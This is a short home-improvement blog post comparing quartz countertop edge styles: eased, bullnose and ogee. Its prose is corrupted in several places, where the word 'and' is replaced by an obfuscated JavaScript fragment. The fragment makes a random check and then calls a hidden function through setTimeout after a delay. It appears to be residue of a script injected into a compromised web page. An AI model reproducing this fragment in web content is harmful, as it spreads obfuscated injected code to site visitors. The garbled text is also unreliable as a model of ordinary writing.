If you’re going to make any changes to your home this springtime make it happen in your kitchen; starting with your counters. Right now, kitchen counters are getting a lot of hype thanks largely in part to the increasing popularity of quartz kitchen countertops. There’s good reason for all of the excitement though. Quartz is extremely durable, comes in an array of colors, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} is customizable. So, if you’re going to be getting new quartz counters, you need to know a thing or two when it comes to options. Outside of color, your next biggest countertop decision will be edges. You may not be aware of just how many edge possibilities you have at your disposal. Take a look at the list of the three most common kitchen counter edge options andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} what sorts of statements they make. Refer to the accompanying chart below provided by Houzz.com to help give you an idea of what each design looks like.

Popular Countertop Edges


Eased Edge

This modern, simple edge is what is commonly known as a right-angle. Okay it’s not precisely 90 degrees, but it’s very close. The otherwise sharp angle of these counters is “eased” to lessen their injury-inducing potential, but you get the idea—the countertop extends out andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} then cuts down sharply. This is what you’ll most likely see in a modern, sleek kitchen with clean lines, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cool colors. Looks great, but requires more cleaning diligence than other designs.

Bullnose

This is classic, classic, classic. Think of this look as sort of retro as in the heyday of Formica counters. Bullnose is the term used to describe the roundness of these edges. These countertops fit right in with traditional American homes. They’re beautiful, timeless, won’t hurt if your bump into them, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} they’re easy to clean. What’s not to love?

Ogee

This is an ornate look that is as classy as it classic. Great for people who frequently host guests; these edges bring a nice flourish to your counters without detracting from your overall aesthetic. This look combines rounded edges with sharp angles, which makes them comfortable when being leaned on. However, liquids will glide right off of these beautiful countertops, which could be an issue if your guests are often children.

There are literally dozens of edge options available today. Be sure you choose ones that are suitable for your needs as a homeowner. Houzz.com cleverly points out that depending on your kitchen configuration you might be able to mix andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} match looks. Don’t be afraid to take some risks andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} have some fun.